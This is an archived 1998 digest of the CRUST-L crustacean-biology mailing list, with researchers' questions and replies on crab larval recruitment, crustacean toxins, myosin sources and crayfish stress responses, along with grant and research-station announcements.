Web sites: http://www.ij.net/topoco/ > http://www.ij.net/topoco/fishforsale.htm > http://www.ij.net/topoco/Helicopterpartsforsale.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #135 ***************************** From owner-crust-l Wed Apr 22 03:35:03 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id DAA02964 for crust-l-digest-outgoing; Wed, 22 Apr 1998 03:33:30 -0400 Date: Wed, 22 Apr 1998 03:33:30 -0400 Message-Id: <199804220733.DAA02964@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #136 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 10 crust-l-digest Wednesday, 22 April 1998 Volume 01 : Number 136 CRUST-L: Re: Varunid Recruitment CRUST-L: marbio: REQ:Any journal titles site on the web? RE: CRUST-L: Varunid Recruitment CRUST-L: Grants CRUST-L: Query abound cave crab CRUST-L: Russian Concerts - Aquarium and Auktyon CRUST-L: Marine Large Scale Facility in Sweden CRUST-L: Commercially available myosins from Crustacea?? CRUST-L: Test, delete CRUST-L: toxic crusties Re: CRUST-L: toxic crusties CRUST-L: panic mating? ---------------------------------------------------------------------- From: Chaoshu Zeng Date: Sat, 18 Apr 1998 12:54:54 --900 Subject: CRUST-L: Re: Varunid Recruitment Dear Brent, Though I have not directly witnessed intense recruitment as you described for varunid crabs, such phenomenon appears to be very common among crab species. Apart from those reported in literature, I myself wintnessed such phenomenon for various species during field samplings. It seems to be the result of crab megalopae perform synchronized active swmming at certain time of tidal cycles to ride on onshore (or upstream) flows of flood tides for recruitment, such phenomenon also known as Selective tidal Stream Transport (I felt that in coastal waters, apart from tidal currents, megalopae may also use similar machenism to utilize other predictable flows generated by different physical forces). This has been well documented in estuarine crab megalopae and you may refer to some recent publications and literatures cited in those papers for more details. De Vries MC et al (1994) Abundance of estuarine crab larvae is associated with tidal hydrologic variables. Mar Biol 118:403-413 Zeng C & Naylor E (1996) Occurrence in coastal waters and endogenous tidal swimming rhythms of late megalopae of shore crab Carcinus: implications for onshre recruitment. Mar Ecol Prog Ser 136:69-79 As to your second question about ovigerous crab, you may right that your crab migrates to sea for spawning. Such phenomenon has been reported in commercially important crab Scylla serrata and Carcinus (to less extent, migrate to lower esutary for spawning): Hill, B-J (1994) Offshore spawning by the portunid crab Scylla serrata (Crustacea: Decapoda). Mar Biol 120(3): 379-385 Queiroga H et al (1994) Larval abundance patterns of Carcinus in Canal de Mira. Mar Ecol Prog Ser 111:63-72 Besides salinity reasons, the fundamentally course for such offshore spawning may rest on avoidance of planktivorous fishes which aboundance in estuaries. You could refer to Morgan's papers if you are interested. Morgan SG & Christy JS (1997) Planktivorous fishes as selective agents for reproductive synchrony. Journal of Experimental Marine Biology and Ecology 209(1-2): 89-101 Morgan SG (1987) Adaptive significance of hatching rhythms and dispersal patterns of estuarine crab larvae: Avoidance of physiological stress by larval export? JOURNAL OF EXPERIMENTAL MARINE BIOLOGY AND ECOLOGY 113(1): 71-78 As to habitat for crab to extrude eggs, from my experience with several crabs, it appears a fine sand or mud substraum is a good one. The reason for this is that crabs normally need to dig into substraum to form hollow area so that they can force newly extruded eggs to attach to their pleopods. Although in Scylla serrata, ovigerous crab are rarelly found in estuaries and coastal waters, however, to reach deep water seems not a pre-requesition for the crab to spawn. We obtained many ovigerous crabs by simply kept matured femals in small tanks (as small as 0.5 square meter) provided with sand substraum. The rates of females extruded their eggs were very high (near 100%) and you may try out this with your Varunid crab. Hope above information could be some help to you, Best wishes, Chaoshu =============================================================================== CHAOSHU ZENG Laboratory of Marine Stock-enhancement Biology Division of Applied Biosciences Graduate School of Agriculture Fax: +75-753-6229 (Lab) Kyoto University Tel: +75-753-6225 (Lab) kitashirakawa-oiwakecho, sakyo-ku Mobile: 040-909-2450 kyoto 606-8502, Japan E-mail:cszeng@kais.kais.kyoto-u.ac.jp AND Fisheries Research Station Fax: +773-62-5513 Kyoto University Tel: +773-62-5512 Maizuru, Kyoto 625, Japan Mobile: 040-909-2450 =============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Silvio Date: Sun, 19 Apr 1998 11:24:30 +0200 Subject: CRUST-L: marbio: REQ:Any journal titles site on the web? ***Apologies to list members for crossposting*** Is there any website containing some list of scientific periodicals with their abbreviations? Or can anybody give me the complete reference for "Periodical Title Abbreviations" by L.G. Alkire jr., or similar publications? Thanks in advance, Carlo Pipitone ***************************************** Carlo Pipitone - -------- CNR-ITPP Laboratorio di Biologia Marina via G. da Verrazzano 17 91014 Castellammare del Golfo (TP), Italy tel: (0924)35013 fax: (0924)35084 e-mail: carlopip@tin.it alternate e-mail: pipitone@itpp.pa.cnr.it ***************************************** - ------------------------------------------------------------- To unsubscribe from marbio, please send this message: unsubscribe marbio to: majordomo@mote.org Please do not send this message to the list itself. Thank you. MARBIO originates at Mote Marine Laboratory, Sarasota, FL USA http://www.mote.org - ------------------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Choy Satish Date: Mon, 20 Apr 1998 09:16:18 +1000 Subject: RE: CRUST-L: Varunid Recruitment Brent, The paper you are probably referring to is: Ryan, P.A. and Choy, S.C. 1990. Observations on the mass migration of Varuna litterata ....CRUSTACEANA, 58(3): 237-249. Other relevant literature are cited in this paper. Since writing that paper, I have collected berried females of V. literrata from estuarine areas. In Borneo, I collected a few that were found clinging to floating mangrove (Rhizophora spp.) leaves in estuaries. Regards Satish >---------- >From: Brent Newman zool[SMTP:bnewman@pan.uzulu.ac.za] >Sent: Friday, April 17, 1998 11:54 PM >To: crust-l@VIMS.EDU >Subject: CRUST-L: Varunid Recruitment > >Fellow Members >We have been investigating several apsects of the recruitment of Varuna >littorata here in South Africa. This crab lives in the lower reaches of >rivers but has still retained a larval phase of development which occurs >at sea. The recruitment of megalopae of this species is spectacular with >thousands upon thousands of individuals clearly visible swimming through >estuary mouths and upstream. At weirs and other impoundments in rivers >huge masses of the megalopae can be found. The megalopae are by crabs >standards very large which makes these events even more spectacular. >I have several questions regarding varunid recruitment. Has anyone >witnessed such intense recruitment for other varunid crabs? What about >other crabs? Is there any literature available on such recruitment? I >recall reading a paper on such recruitment and I think that it had to do >with a Varuna spp, but I cannot trace the paper. >Further, we hope to rear the larvae of this crab but are having some >problems finding gravid females. There appear to be none in the >freshwater regions of the rivers. I have captured several females >swimming out of the mouths of estuaries but none of them have been >gravid. Could these crabs have been leaving the estuary for the sea to >extrude eggs? Is anyone aware of what type of habitat these crabs would >extrude eggs and release larvae? I presume it would need to occur in the >lower reaches of estuaries as the probable reason that the larvae leave >estuaries is because the larvae are unable to tolerate the low salinities >in these systems. Is anyone aware of any publications dealing with Varuna >spp larvae? Jose Cuesta has informed me that as far as he is aware there is >almost no information on the larval stages of the Varuna spp. I would >also appreciate any leads to papers dealing with adult ecology and >biology. >Yours >Brent > >Brent Newman >Dept of Zoology >University of Zululand >Private Bag x 1001 >KwaDlangezwa >3886 >Kwazulu_Natal >South Africa >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ronald Vonk Date: Mon, 20 Apr 1998 13:03:09 +0100 Subject: CRUST-L: Grants OPPORTUNITIES FOR ACCESS TO THE ZOOLOGICAL MUSEUM AMSTERDAM (dept. Crustaceans) & EXPERT CENTER FOR TAXONOMIC IDENTIFICATION The University of Amsterdam offers financial support for access to the Zoological Museum Amsterdam (ZMA) and the Expert-center for Taxonomic Identification (ETI). The programme and facilities of ZMA and ETI are based on their extensive zoological (crustacean) collections and information technology. Access to these facilities is supported by the European Commission as a Large-Scale-Facility grant under the programme Training and Mobility of Researchers. Applications for access are encouraged from scientists from EU countries or associated countries (Iceland, Liechtenstein, Norway, Israel). Proposals that can be completed within a short visit (typically one - two weeks), not exceeding two months, will be considered. Financial support that will cover travel, subsistance, access and assistance will be available for accepted proposals. Additional financial support is available for personal instruction and training. Applications for support should be made by completing an application form. There are two proposal rounds each year with closing dates of 1 June and 1 December. All applications will be subject to a review procedure by a selection committee. More information and the application form can be requested by sending a message to Dr. H. Nijssen (P.O. Box 94766, NL-1090 GT Amsterdam, fax: +31.20.525.5402, e-mail: nijssen@bio.uva.nl). =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Peter J. Hogarth" Date: Mon, 20 Apr 1998 16:49:05 PDT Subject: CRUST-L: Query abound cave crab Dear Crusties, I've just had the following request passed to me by Science Line, a science information organisation that fields questions from the public and tries to find answers. Has anyone any ideas about this one? Peter Hogarth Dear Dr Hogarth We've had a question here at Science Line which I hope you might be able to help us with. A caller has seen a crab which is called the Blind Cave Crab, which she thinks is mainly found in the United States and she wanted to know its Latin name. We couldn't find this name in any of our books. She gave a brief description of it. It is definitely not a spider crab and has very long legs. Its body is heart shaped being broader near the eyes and narrower at its end and its is a pale colour. Perhaps you might know what she is referring to? Thanks for your help. Nicola =================================================================== Science Line is a free public science information service. We answer questions on all aspects of science, medicine, technology and engineering. Our phonelines are open from 1-7pm Monday to Friday on the lo-call number 0345 600 444 _________________________________________________________ Dr Peter J. Hogarth Department of Biology University of York P.O. Box 373 York YO1 5YW U.K. tel 01904 432817 fax 01904 432860 email pjh4@york.ac.uk _________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: collagen@interport.net Date: Mon, 20 Apr 1998 22:59:30 -0400 (EDT) Subject: CRUST-L: Russian Concerts - Aquarium and Auktyon Hello! This message is to let you know that Boris Grebenshikov/Aquarium and Auktsyon will be touring U.S. of A. in late April - May 1998. (http://www.collagen.org/aaa/ Aquarium is the oldest and the most prominent Russian Rock Band...and Auktsyon is extremely cool with its post-punk lyrics, dance and music. Something not to be missed! Superior venues, sound, lighting and etc! The Aquarium concert schedule is: Chicago - Park West - April 24; call (773) 764-0404 for tickets New York - Irving Plaza - April 25; call (212) 673-0776 Boston - Karma Club - April 26, call (617) 783-1590 Washington, D.C. - The Bayou - April 28; call (301) 881-5973 New York - Roxy (with Auktsyon) - April 30; call (212) 673-0776 Seattle - King Kat - May 1; call (206) 323-8882 San Francisco - Herbst Theater - May 3; call (415) 392-4400 The Auktsyon schedule is being determined. Here are some exact days: For show in New York with Aquarium on May 30, call (212) 673-0776 For show in Washington, D.C. on May 1, call (301) 881-5973 For show in Chicago on May 10, call (773) 764-0404 For show in San Francisco on May 9, call (408) 260-1042 For additional shows information, information about the bands, retail ticket outlets and other fun stuff, please visit http://www.collagen.org/aaa/ The seats are limited. Get your tickets today and have a great time at the show - we promise, it will be a great one! :) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Matz Berggren" Date: Tue, 21 Apr 1998 09:19:47 +0200 Subject: CRUST-L: Marine Large Scale Facility in Sweden Since our marine research station, Kristineberg Marine Research Station have been selected as a Large Scale Facility by the European Union, I like to take the opportunity to send out the following message to inform scientists with an interest to preform research at the west-coast of Sweden: Large Scale Facility - Kristineberg Marine Research Station invites European Scientists Research at Kristineberg Marine Research Station (KMRS), on the west-coast of Sweden, one of the most modern marine stations in the world, encompasses a wide field of marine biology and physical-chemical oceanography, but also includes geology, medicine, pharmacology and applied technology. Thanks to financial support from the TMR, access to Large-Scale Facilities programme (LSF), KMRS is able to welcome scientists and research groups from Europe and from countries associated to the European Union. Guest scientists may participate either in current KMRS projects or initiate new projects lasting up to four months. LSF guests have free access to all facilities at KMRS, including laboratories, experimental rooms, technical equipment and use of research vessels. The LSF programme normally also covers subsistence and travel costs. We are currently accepting proposals for projects with an intended start date between July- Oct 98. Applications will be evaluated/reviewed on arrival between May - June 98 . Next application deadline Oct 1, 1998. For projects with startdate Nov 1998 - April 1999. Under special circumstances, for example shorter visits, applications may also be accepted at other times. For further information and application form: see KMRS homepage: http://www.kmf.gu.se or contact us at the address given below. Applications should be sent to: Kristineberg Marine Research Station, LSF Projects S-450 34 Fiskeb=E4ckskil Sweden. Phone: +46-(0)523185 00 Fax: +46-(0)523185 02 E-mail address: LSF@kmf.gu.se INFORMATION OF THE KMRS BELOW: A unique location since 1877. Unique resources since 1994 Kristineberg Marine Research Station (KMRS), run jointly by the Royal Swedish Academy of Sciences and G=F6teborg University, is one of the most modern marine stations in the world. The station is situated at the mouth of the 120 m-deep Gullmars fjord, offering convenient access to a rich and diverse flora and fauna and facilitating the collection and transfer of marine organisms. The station was renovated in 1994, and now includes exceptionally modern laboratory facilities, offices for resident and guest scientists and a unique large scale experimental facility. The primary aim of the station is to provide high quality working facilities for both Swedish and foreign guest scientists, and KMRS has a permanent staff of 15 faculty and 25 graduate students. In addition, the station provides facilities for undergraduate and other marine courses, as well as hosting regular scientific meetings. Research at KMRS encompasses a wide field of marine biology and physical-chemical oceanograhy, but also includes geology, medicine, pharmacology and applied technology. The station is open all year round to scientists at all levels and from all countries. Facilities at KMRS The station consists of two laboratory buildings, two research vessels and a hotel unit. The laboratory buildings covering 5 000 m2 are fully equipped and comprise experimental rooms, an auditorium, several conference rooms, offices and a library. Our technical staff and research engineers are experienced and can give advice about the use of equipment. In our workshops we make and maintain high precision field equipment. Two research vessels, of the stern-trawler type, are operated by KMRS. The R/V Arne Tiselius (30 m) is specially designed and equipped for marine research with emphasis on biological oceanography, benthic ecology and benthic/pelagic monitoring. The R/V Oscar von Sydow (12 m) is ideal for the collecting of marine animals. A number of small boats are also available for use at the station. The boat crews have extensive knowledge of the local marine environment and the distribution of marine species and have long experience of collecting animals for experimental research. KMRS has a fully equipped SCUBA facility, and diving forms an important part of the marine research at the station. The library keeps most marine journals and is well provided with species identification literature and handbooks. We also have an extensive reprint collection dating back to the late 19th century. If additional literature is needed, KMRS has a 24-hour document delivery service available. At the station there is lso a data-bank to simplify the collection and identification of marine organisms. The data-bank provides detailed information on collection sites for most invertebrate species and algae in the region. The hotel unit can comfortable accommodate groups of up to 50, and offers self-catering or full board facilities. Easy access to a rich and diverse flora and fauna The Gullmars fjord, with a maximum depth of 120 metres, has an extremely rich flora and fauna due to the great diversity of habitats - - all available within 30 minutes sail from the station. In some areas vertical rocks reach down more than 40 meters and h t a rich flora of macroalgae as well as sessile and mobile animals. These rocks are ideal for research by means of SCUBA diving. Between the rocky areas, both sand and clay seabed habitats extend down to the deep basin. KMRS is situated in a unique marine environment. The surface water down to about 15 - 20 metres is brackish (salinity is about 25 psu) and of Baltic origin. Below this is higher salinity water originating from the Skagerrak and the North Sea. Modern equipment and instrumentation The entire first floor of the new building is designed to provide state-of-the-art experimental conditions. The research vessels dock at the main laboratory entrance enabling undisturbed animal or sediment samples to be brought into the experimental rooms easily -a unique feature of KMRS. KMRS has eleven wet laboratories, ranging in size from 15 to 100 m2, and five of these rooms offer full control of both air and water temperature. Each experimental laboratory has a separate control room for computer equipment and data collection. Technical inventories within the experimental rooms are flexible, allowing equipment to be moved between rooms to allow the design of complex experiments. Three light- and temperature-controlled rooms for algal culturing and a flume tank are also available. The second and third floors contain well-equipped, special designed laboratories for physiology, ecology, microbiology, sedimentology, chemistry and radioisotope handling. Modern basic instruments are available, and our technical staff can help guests with chemical analyses and most practical problems. Throughout the laboratory, 2 separate sea water systems provide clean water from the fjord. Surface water from 6 m is used to mimic variable shallow water conditions, whereas deep water from 30 m provides a stable environment year round. Both water systems are installed in all laboratories as well as in the experimental rooms. Matz Berggren MIME-compilant Marine Ecology / Goteborg University Kristineberg Marine Research Station (http://www.kmf.gu.se) S-450 34 Fiskebackskil SWEDEN Tel: +46-(0)523-18532 Fax: +46-(0)523-18503 Fax: +46-(0)523-18502 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: GRANT D STENTIFORD <9707223s@UDCF.GLA.AC.UK> Date: Tue, 21 Apr 1998 12:51:18 +0100 Subject: CRUST-L: Commercially available myosins from Crustacea?? Dear All, does anyone know of any commercially available Crustacean myosins that could be used for parasitic-protease breakdown studies. If there are none available, is it likely that using myosin from another animal (e.g. rat/rabbit) would show similar breakdown when challenged with the proteases....i.e. how conserved are the myosins in different species?. I am working on the deep abdominal flexor muscle of the Norway Losbter (Nephrops norvegicus)...this muscle is homogenous fast type. Thanks alot Grant Grant D Stentiford, Crustacean Parasitology, Graham kerr Building. University of Glasgow. Glasgow. Scotland. Tel; UK (0141) 3306627 email ; g.stentiford@udcf.gla.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 21 Apr 1998 09:15:22 -0400 (EDT) Subject: CRUST-L: Test, delete Did I pass? :-) Testing restricted post Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Tue, 21 Apr 1998 12:52:52 -0500 Subject: CRUST-L: toxic crusties An article in the new American Scientist by Jim McClintock prompts me to wonder how many crusties use defensive (or even offensive) toxins? McClintock, J.B. and B.J. Baker. 1998. Chemical Ecology in Antarctic Seas. American Scientist 86(3):254-263. A specific point is Hyperiella abducting Clione and carrying the pteropods around on their backs. Seems the Clione posses and nice toxin, and the Hyperielled uses this for protection. (First reported in McClintock J.B. and J. Janssen. 1990. Pteropod abduction as a chemical defense in a pelagic antarctic amphipod. Nature 346:462-464. Similar to the crabs that carry around sea anemones, except here the Clione do *not* benefit from the association. The opposite, in fact. But-do crusties have their *own* toxins? If not synthesized by themselves, at least sequestered from their food, such as sponges or corals, etc. Like insects do with toxic plants. Then of course, there's the question of venoms. Caprellids supposedly have venom glands in their 2nd gnathopods, but has this been shown true or false? Any other crusties with venom? If no, why not? Venom is common enough. Phil }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Alistair Poore Date: Wed, 22 Apr 1998 12:33:19 +1000 Subject: Re: CRUST-L: toxic crusties Philip Oshel wrote: > > An article in the new American Scientist by Jim McClintock prompts me to > wonder how many crusties use defensive (or even offensive) toxins? > > But-do crusties have their *own* toxins? If not synthesized by themselves, > at least sequestered from their food, such as sponges or corals, etc. Like > insects do with toxic plants. Among the herbivorous amphipods, many of which do consume algae rich in secondary metabolites, there are, to my knowledge, no published examples of chemical sequestration like that found in terrestrial insects or other marine herbivores such as sea hares. Neither have I heard of any examples of equestration from other chemically rich hosts such as sponges, soft corals or bryozoans. There is one system analogous to McClintock's in which an ampithoid (Pseudamphithoides incurvaria) carries around a small house made of an alga (Dictyota) unpalatable to fish. See Hay et al (1990) Host-plant specialization decreases predation on a marine amphipod: an herbivore in plant's clothing. Ecology 71: 733-743 for details. - -- Alistair G. B. Poore School of Biological Sciences University of New South Wales Sydney, 2052 Australia Phone: 61 2 9385 2080 Fax: 61 2 9385 1558 Email: a.poore@unsw.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: rjapajus@alpha2.curtin.edu.au (Japo Jussila) Date: Wed, 22 Apr 1998 15:31:14 +0800 (WST) Subject: CRUST-L: panic mating? MOI EVERYONE, I have a confusing and puzzling problem, actually I do not have it, but still I have to solve it. Anyways, there has been statements made that male freshwater crayfish have released their sperm as a stress response while transported in a foam box for 4-8 hours. The crayfish have been packed with 1 litre of ice and two sheets of moist foam. Does anyone have any experiences related to the above mentioned phenomen? My best craywishes Dr Japo Jussila Aquatic Science Research Unit Curtin University Perth, Western Australia tel 61 (08) 9336 6081 phax 61 (08) 9336 6082 'Prefiero morir de pie que vivir siempre arrodillado' Che Guevara =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #136 ***************************** From owner-crust-l Fri Apr 24 10:10:18 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id KAA09337 for crust-l-digest-outgoing; Fri, 24 Apr 1998 10:08:13 -0400 Date: Fri, 24 Apr 1998 10:08:13 -0400 Message-Id: <199804241408.KAA09337@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #137 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 11 crust-l-digest Friday, 24 April 1998 Volume 01 : Number 137 CRUST-L: follicle cells Re: CRUST-L: toxic crusties result CRUST-L: Crustacea Post-Doc Position (fwd) CRUST-L: Mole Crab Info Request Re: CRUST-L: Mole Crab Info Request Re: CRUST-L: toxic crusties CRUST-L: Lobster tissue (fwd) CRUST-L: e-mails of Artemia experts CRUST-L: rare male of parthenogenetic Artemia Re: CRUST-L: Commercially available myosins from Crustacea?? CRUST-L: PhD application CRUST-L: anomoran histology CRUST-L: wanted: 4 million p. vannamei post larvea for late May delivery Re: CRUST-L: toxic crusties CRUST-L: Southern African Decapod Larval Works ---------------------------------------------------------------------- From: Isabelle Biegala Date: Wed, 22 Apr 1998 10:20:08 +0200 Subject: CRUST-L: follicle cells Dear fellows, Does anyone know at which period of female copepod gametogenesis occur the multiplication of follicle cells? I am specially interested to know when this process hapen regarding to the molt of copepodite V to adult females. If anybody have some references concerning this process in other crustacea, I will be as well very interested to know. 